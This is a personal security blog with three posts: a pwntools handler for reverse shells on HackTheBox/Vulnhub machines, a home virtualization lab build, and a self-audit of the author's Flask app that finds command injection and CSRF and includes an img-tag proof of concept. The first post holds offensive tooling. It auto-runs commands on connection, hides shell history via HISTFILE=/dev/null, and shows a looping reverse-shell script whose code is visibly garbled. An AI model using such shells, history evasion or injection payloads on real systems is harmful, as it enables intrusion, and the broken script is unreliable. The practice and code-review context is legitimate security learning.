Friday, December 28, 2018

Using pwntools for reverse shell handling and automation

I've been working with machines on HackTheBox and VM's from Vulnhub for a while. I got annoyed of typing commands again and again. I decided to use pwntools (Python library that provides a lot of functions for CTF and exploit dev usage, for handling reverse shell and sending commands. This is nothing new, I'm sure there are people and tools out there that automate some things after a machine is popped.

For HTB and Vulnhub VM's I'm trying to avoid using tools such as metasploit, meterpreter, or anything that does everything and instead try to write my own tools and modify exploits. However, I do use nmap and enumeration tools/scripts...

For reverse shells that I get, they could have resulted from a custom python script, PHP code, or some binary exploit. If it's custom python script, I can add things I want the script to do before it connects back to me but for shell from PHP or exploit, I have to send commands after I get a reverse connection.

This is what I have as my handler: 

from pwn import *

l = listen(80)
l.sendline(""" python -c 'import pty; pty.spawn("/bin/bash")'""")
l.sendline(" export SHELL=bash")
l.sendline(" export HISTFILE=/dev/null")
l.sendline(" export TERM=xterm")
l.sendline(" stty rows 38 columns 116")
l.sendline(""" alias ls='ls -lha --color=auto'""")
l.sendline("uname -a")
l.sendline("ps aux")

It listens on port 80 and as soon as there is a reverse shell, it executes commands. l.interactive() gives you a shell.
I change it depending on the situation. For one of the HTB machines, I had lines added to log in as one of the privileged users. You can also add commands in here to automatically download enumeration or privesc tools and execute them. 

Another common problem I've had is losing the shell. This typically happens because I pressed control+C after running a command I shouldn't have or didn't need to. I decided to modify my reverse python shell to make it run in an infinite loop, with sleep in the middle when disconnected. This was fine for a while but I didn't wanna have my reverse shell running on shared HTB machines all the time, if I happen to stop working on the machine or get disconnected and my IP changes. I changed the script and added a counter so after a while if it's not able to connect to me, the process ends.

Here's what the reverse shell looks like:

import socket, subprocess, os, time
counter = 0
while counter < 6:
        counter = 0["/bin/bash","-i"]);
        counter = counter + 1


Friday, December 21, 2018

Virtualization server setup

This post is about how I have my virtualization server setup at home. I built it earlier this year. 

Use cases for me are: running VM's, malware analysis, pentesting practice, processing data/logs, doing CTF stuff, running containers, virtualized networking, and so on...

CPU: AMD Ryzen 5 1600, it's 6 cores and 12 threads. It's cheap and good enough. 
Motherboard: B350M Mortar
RAM: 4x8GB, total 32GB. It's good enough for running multiple VM's and containers. I had 16GB before and it worked fine.
Networking: Motherboard has an onboard 1GB Ethernet. For a connection to a NAS, I added a 10GB MELLANOX NIC and a pair of those should cost around 30 bucks on ebay. Finally, I added 4x1GB ethernet NIC, which I think is sold by Syba on Amazon.
Case: Thermaltake Versa H17
Storage: 2x2TB HDD, 1x240GB SSD

Virtualization setup: I'm using Proxmox VE for virtualization. It supports VM's and Containers. On top of that, I'm using Docker as well. ServeTheHome has an article on how to set it up:

The 2x2TB drives are installed in RAID 1 mode. Proxmox VE is installed on top of them. SSD contains ISO images for Linux, Windows, and etc. It also holds Container images. All of the VM content is saved to the HDD's. Additionally, all the data can be backed up via the 10GB link to the NAS. 

Proxmox VE allows you to create templates based on VM's too. In my case, I have templates for Windows and Ubuntu server, which tools such as git, python, and etc. preinstalled. 

With networking, Proxmox VE allows you to use OpenVSwitch, right from the WebUI. It lets you create virtualized networks just for VM's or use one of the hardware ports. This comes in very handy when doing malware analysis. For example, you can set up pfsense as a VM and add a virtualized network. You can also put the VM you're doing malware analysis on the virtualized network. Pfsense can be configured to route all the traffic through VPN. When malware traffic leaves the network, it ends up going through VPN. 

Here's what the virtualization machine looks like on the inside:

Here's the back:

Proxmox VE:
ServeTheHome - a really useful website:
Opnsense (similar to pfsense):
Homelab subreddit, useful for looking at other setups and asking questions:

Tuesday, December 18, 2018

Doing vulnerability assessment of my own code...It's bad.

I took "Application Security: for Hackers and Developers" class at Derbycon this year. More about the course is here: Videos are also available on PluralSight. Anyways, the class is focused on searching for vulnerabilities by using various methods such as static analysis, dynamic analysis, binary analysis, fuzzing, and etc.

For a class I was taking this semester, I decided to write my final paper on different techniques used to review code and/on find security issues. I also decided to look at a project that I worked on a long time ago for the hands-on part.

The project is runthelabs (can be found here: It is a Python+Flask based web app that takes in a JSON configuration file and creates a virtual environment. It uses Minimega (, KVM, OpenVSwitch, and NoVNC. It also uses SQLite for holding data.

The point of it is that a teacher creates a JSON file with virtual environment specifications, uploads it, and starts the lab. The teacher can copy and send NoVNC links to students/groups so they can VNC into a VM and work on whatever. More info here:

When I put the project on Github, I knew it could have some kind of injection vulnerability. The code was written so long ago and I never got to updating everything. (laziness is not good for security)

Goal/Testing Purpose and Scope:
The goal of this testing is to apply code review and security testing techniques and find security issues in my project. The scope is just my application/code. Third-party code or issues related to Minimega, KVM, OpenVSwitch, and etc. are not a concern.

Software Internals: is the main flask app. There is a webUI and an API way of interacting with the app. stores config information (paths to files and etc...) is responsible for interacting with SQLite DB. is responsible for executing commands in relation to minimega, iptables, and openvswitch. parses JSON file uploaded by the admin and uses mmcontrol to set things up.

There are two user roles. One admin and the other one is student/unauthenticated.

Here's what the admin does: Uploads a JSON config file and starts the lab (which turns on VM's and sets up networking). Optionally, the admin can turn the whole lab off, reboot VM, change VNC password, and finally, share NoVNC link with the student.

VNC can be accessed via realvnc or other VNC software with the correct port and password or NoVNC.

Unauthenticated user: They can check server status (if it's up or not. Not very useful) and access VM's via VNC, if they have URL or password+port.

The software uses SQLite DB to keep track of VM name, password, and port.

Port 1337 is used for WebUI and API. Port 1338 is used for Websockify/NoVNC.

Testing Setup:
To set up a testing environment, I needed one server to the run web app and two machines. One for static analysis/dynamic analysis/hacking and the other one for Admin/Teacher role.

Static Analysis:
Static analysis is analyzing the code without running it. Here are useful OWASP links: &

I started by using bandit ( to scan my code. Here are some of the issues:

  • Subprocess module is in use
  • Hardcoded password
  • Use of md5 function (used to generate VNC password, not a vuln)
  • Binding to all interfaces
  • Starting a process with shell (using os.system)
  • Starting a process with shell, with possible injection (it detects when external variables are used)
I also used Python-Taint ( It found that I was using a URL parameter as an input for SQL queries. 

These tools are definitely useful for a larger project. They did find useful things. 

I am also doing manual analysis. OWASP has guides on how to do a code review ( and I'm using those as well. 

Here's what OWASP recommends focusing on:

OWASP also recommends looking at inputs and data flow. They have more things recommended but I wanna try to focus on vulnerability areas the above screenshot mentions and inputs.

  • Data Validation: There isn't any. json.loads is used, which validates that the upload is json, however, that doesn't really matter. For starting a lab, JSON data has to be correct, however, values don't have to be. If something is int, string, or etc. it isn't checked. The uploaded file isn't saved on disk either.
  • Authentication: Admin has to login to use WebUI or API. has a hardcoded password.
  • Session Management: Basic auth is used, so there isn't any.
  • Authorization: N/A
  • Cryptography: The WebUI/API access does not use SSL/TLS neither does the NoVNC connection. If someone was eavesdropping, they could get credentials.
  • Error Handling: Yes! I'm doing try-except then returning a generic error message. Also, in the try section, I'm doing If and returning a generic message. It's not perfect. There are some flaws.
  • Logging: None
  • Security Configuration: N/A
  • Network Architecture: The web app does bind to all interfaces.
As for inputs, only admin has input capabilities. They can upload JSON file, reboot VM's, and change VM VNC password.

Here's the example config file:

For JSON file upload, it's done through /upload. The file is assigned to labconfig variable. When the lab is turned on (through /on), startlab() is called, which creates a db and calls mmstart.startmm(labconfig). startmm calls mmcontrol.start_mm(), which starts Minimega. After that, JSON file is processed. First thing looked at is gre, then dhcp, then internet, then finally VM. For VM, mmcontrol.vm_config ends up being called, which runs os.system statement with networking info. With JSON processing, there are several places a command could be injected.

For VM reboot, here's what ends up being ran, when vmname is supplied via GET request:
mmcontrol.vm_reboot(vmname, dbcontrol.get_password(vmname)), and in vm_reboot() this statement is executed first: os.system(minimega_cmd + "vm kill " + vm_name). Injection can happen here.

For VM VNC password reset, mmcontrol.set_password() is used, which executes os.system(minimega_cmd + "vm qmp " + vm_name + " " + json.dumps(vncpwcmd)) first. In this case, the injection could occur in the middle of the statement.

Dynamic Analysis:
For dynamic analysis, the application has to be running. I used OWASP ZAP, Subgraph Vega, and Nikto. They didn't actually find anything useful, which is expected, however, Nikto did guess hardcoded login admin/admin.

I started doing manual analysis. I would use Burp but it really isn't needed for now.

First, I uploaded a random file, which didn't do anything. I uploaded a random JSON file, and it was accepted. The labs wont start obviously since it's not a valid config file. After that, I took the example config file and injected commands. Here's what the new file looks like:

The command injection worked:

After this, I uploaded the example JSON configuration which was included and started the lab the way it should be so I can try to mess with GET parameters.

First the reboot:

It worked:

Next, the VNC password reset:

That also worked:

Another issue with this software is cross-site request forgery. Since I'm not using session management or any other security, when a request is made via another webpage, if the admin is logged in, the request will get processed.

For example: <img src="" width="0" height="0" border="0"> embedded in another HTML page does cause a reboot for tc2. Of course, since I wasn't doing any checking to see if VM name is a valid name, the attacker, does not need to know vm name to execute commands.

Here's my new code, asdf vm doesn't exist:

I logged into the admin account on another machine and opened the poc webpage:

On my "hacker" machine:

Dynamic analysis helps with confirming/validating some of the findings in static analysis.


  1. Binding to all network interfaces
    1. This is bad because depending on the network configuration, the webui can be accessed from inside the VM
  2. Command injection
    1. Bad but only admin can do it (unless CSRF is used)
  3. Lack of data validation
    1. I should have validated everything in JSON file and even data from GET requests. For example, if vmname is supplied for reboot, I should check to see if that VM exists or not. I should make sure that I only allow a-z,A-Z,0-9 as input chars. 
  4. Bad session management
    1. I probably shouldn't have used basic auth. Flask (or modules on top of Flask) has session management mechanisms that I could have used. CSRF token should be used. There are other web app protections that could be used as well.
  5. Cross-site request forgery
    1. CSRF token should be used. 
  6. Lack of cryptography
    1. The way I imagined this web app would be used didn't require adding ssl/tls protection but it's still something I wanted to point out.
  7. Error handling could be better
    1. Error messages are generic. More detailed messages would be useful. Also, more error checking should be done. For example, if someone starts a lab with bad json file, code still starts minimega binary. That should not happen. Return from os.system should be checked too.
  8. Lack of logging
    1. I should have been logging some stuff, mainly errors. 
Basically, there are three ways to get root on the system running runthelabs. A non-admin user can use CSRF w/ command injection. A malicious admin can use various command injection points. Finally, a MITM attack can be used to capture admin credentials and those could be used to execute a command injection attack.

It's possible that I may have missed something. Static and dynamic analysis both definitely were useful. OWASP is a great resource on code review. Also, this Github awesome list is very useful:

The security issues occurred due to laziness and the risk/chances of exploitation were low. Also, I accepted the risk of possible command injection by the admin when I was programming. The impact is high since you can get root pretty easily with CSRF or if you were a malicious admin.